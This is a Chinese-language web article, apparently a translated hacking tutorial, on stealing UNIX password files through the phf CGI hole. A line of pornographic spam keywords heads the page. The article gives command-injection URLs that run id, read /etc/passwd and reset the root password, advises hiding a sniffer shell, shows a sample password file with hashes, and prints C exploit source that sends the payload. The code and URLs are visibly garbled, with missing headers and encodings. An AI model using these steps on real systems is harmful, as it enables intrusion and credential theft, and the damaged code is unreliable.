亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

從UNIX系統(tǒng)獲取密碼檔(一)

互聯(lián)網(wǎng)   發(fā)布時間:2008-10-08 19:04:37   作者:佚名   我要評論
目錄: PHF:WWW的PH查詢 PHF查詢攻擊新方法 從新手處獲取 獲取shadow密碼檔 獲取/etc/hosts檔 本文列舉了幾種從UNIX系統(tǒng)獲取密碼檔的方法。其中大多數(shù)方法要求你擁有一個 有效帳號;但也有不需帳號也可訪問系統(tǒng)的方法。在這里你還能知道完整
目錄:
PHF:WWW的PH查詢
PHF查詢攻擊新方法
從新手處獲取
獲取shadow密碼檔
獲取/etc/hosts檔
本文列舉了幾種從UNIX系統(tǒng)獲取密碼檔的方法。其中大多數(shù)方法要求你擁有一個
有效帳號;但也有不需帳號也可訪問系統(tǒng)的方法。在這里你還能知道完整的密碼檔與
shadow密碼檔的區(qū)別,并學(xué)習(xí)到如何讀取shadow密碼檔。
--------------------------------
PHF:WWW的PH查詢
如果在WWW的cgi-bin的目錄下有一個名為phf的可執(zhí)行(具有x權(quán)限)程序,那么你就
可以通過WWW或LINUX的文本瀏覽器lynx訪問它。該功能允許你讀取系統(tǒng)上的文件,如
/etc/passwd等,并保存在本地機上。
以下是我們所需要做的。如果httpd服務(wù)器是由root根用戶運行的,通過使用phf,我
們可以成為該服務(wù)器的root用戶;甚至修改服務(wù)器上某個用戶的密碼。
這里有一個perl腳本,它對使用上一章中的getdomain.pl腳本所得到的結(jié)果進行檢測,
并檢查運行服務(wù)器的用戶。如果是root用戶,它就記錄其id;如果不是root用戶,則會自動
從/etc目錄下讀取passwd檔,并保存為domain.???.passwd文件。
我還會給出另一個腳本,它允許你從一個shell中運行一條命令。只要該系統(tǒng)有phf,
你就可以在shell中輸入一命令行,通過管道命令傳送到遠程系統(tǒng)上執(zhí)行。
OK?,F(xiàn)在你該知道下一步是什么了?讓我們來學(xué)習(xí)如何利用phf。
把你最喜愛的web瀏覽器或是UNIX系統(tǒng)中經(jīng)常使用的lynx文本瀏覽器連接到網(wǎng)絡(luò)上。
在瀏覽器窗口或屏幕出現(xiàn)后,鍵入g(譯者注:即使用瀏覽器的“go”功能)。便會
出現(xiàn)以下內(nèi)容(譯者注:以lynx為例):
URL to open:
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list
在URL to open: 處輸入:http://xxx.org/cgi-bin/phf/?Qalias=x id
URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x id
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list
返回如下內(nèi)容:
QUERY RESULTS

/usr/local/bin/ph -m alias=x id
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
以上內(nèi)容表明:運行服務(wù)器的用戶是nobody。因此,我們便成為了該服務(wù)器的nobody
用戶。雖然我們還不是root用戶,但必將是。 ;-)
命令行:
http://afp.org/cgi-bin/phf/?Qalias=x id
id是一個命令,它要求服務(wù)器返回用戶的id。有時我們需要給出全路徑,比如:http://afp.org/cgi-bin/phf/?Qalias=x /usr/bin/id
注意 后面是命令行內(nèi)容。如果你想輸入一個空格符,就要用 代替,以下是經(jīng)常
要用到的幾個命令行:(以 開始)
顯示passwd密碼檔:
/bin/cat /etc/passwd
獲取/etc目錄下所有以pass開始的詳細(xì)文件列表:
ls -al /etc/pass*
如果你有訪問http的root用戶權(quán)限,備份passwd文件為passwd.my文件:
cp /etc/passwd /etc/passwd.my
更改root用戶密碼(服務(wù)器往往會允許你這樣做 ;-) ):
passwd root
(以上命令可以讓你在以root用戶登錄時不需輸入密碼,(譯者注:也就是更改root用戶
的密碼為空,然后再telnet該主機。)別忘了將passwd.my恢復(fù)為passwd(譯者注:恢復(fù)
root用戶的舊密碼),刪除備份文件,然后你就可以運行一個合適的shell,并將其隱藏起來
作為嗅探器(sniffer)來獲取所需的密碼了。)
只要你知道如何在UNIX中輸入命令,同時沒有忘記使用 來代替空格符,你就不會遇
到什么困難!
OK。現(xiàn)在讓我們來獲取本例中的passwd檔吧。;-)
URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x cat /etc/passwd
我們將會看到:
QUERY RESULTS

/usr/local/bin/ph -m alias=x cat /etc/passwd
root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:-2:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
(一個小小的密碼檔 ;-) )
如果你希望保存這個文件,只要在文本瀏覽器中選擇“打印”和“保存
為文件”即可。
現(xiàn)在讓我們了解一下paaswd檔的結(jié)構(gòu):
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
1 :2 :3 :4 :5 :6 :7
1=用戶名 2=被加密的密碼 3=用戶標(biāo)識 4=用戶組id 5=真實名字
6=用戶根目錄 7=shell
好。假設(shè)你不想使用WWW瀏覽器,編譯并執(zhí)行以下腳本也可以達到目的:
phf.c
------ cut here----
/* Some small changes for efficiency by snocrash. */
/*
* cgi-bin phf exploit by loxsmith [xf]
*
* I wrote this in C because not every system is going to have lynx. Also,
* this saves the time it usually takes to remember the syntatical format
* of the exploit. Because of the host lookup mess, this will take
* approximately 12 seconds to execute with average network load. Be patient.
*
*/
#include
#include
#include
#include
#include
#include
#include
int main(argc, argv)
int argc;
char **argv;
{
int i = 0, s, port, bytes = 128;
char exploit[0xff], buffer[128], hostname[256], *command, j[2];
struct sockaddr_in sin;
struct hostent *he;
if (argc != 3 && argc != 4) {
fprintf(stderr, "Usage: %s command hostname [port]", argv[0]);
exit(1);
}
command = (char *)malloc(strlen(argv[1]) * 2);
while (argv[1][i] != '\0') {
if (argv[1][i] == 32) strcat(command, " "); else {
sprintf(j, "%c", argv[1][i]);
strcat(command, j);
}
i;
}
strcpy(hostname, argv[2]);
if (argc == 4) port = atoi(argv[3]); else port = 80;
if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) {
he = gethostbyname(hostname);
if (he) {
sin.sin_family = he->h_addrtype;
memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0],
he->h_length);
} else {
fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname);
exit(1);
}
}
sin.sin_family = AF_INET;
sin.sin_port = htons((u_short) port);
if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) {
fprintf(stderr, "%s: could not get socket\n", argv[0]);
exit(1);
}
if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
close(s);
fprintf(stderr, "%s: could not establish connection\n", argv[0]);
exit(1);
}
sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X% %s\n", command);
free(command);
write(s, exploit, strlen(exploit));

相關(guān)文章

最新評論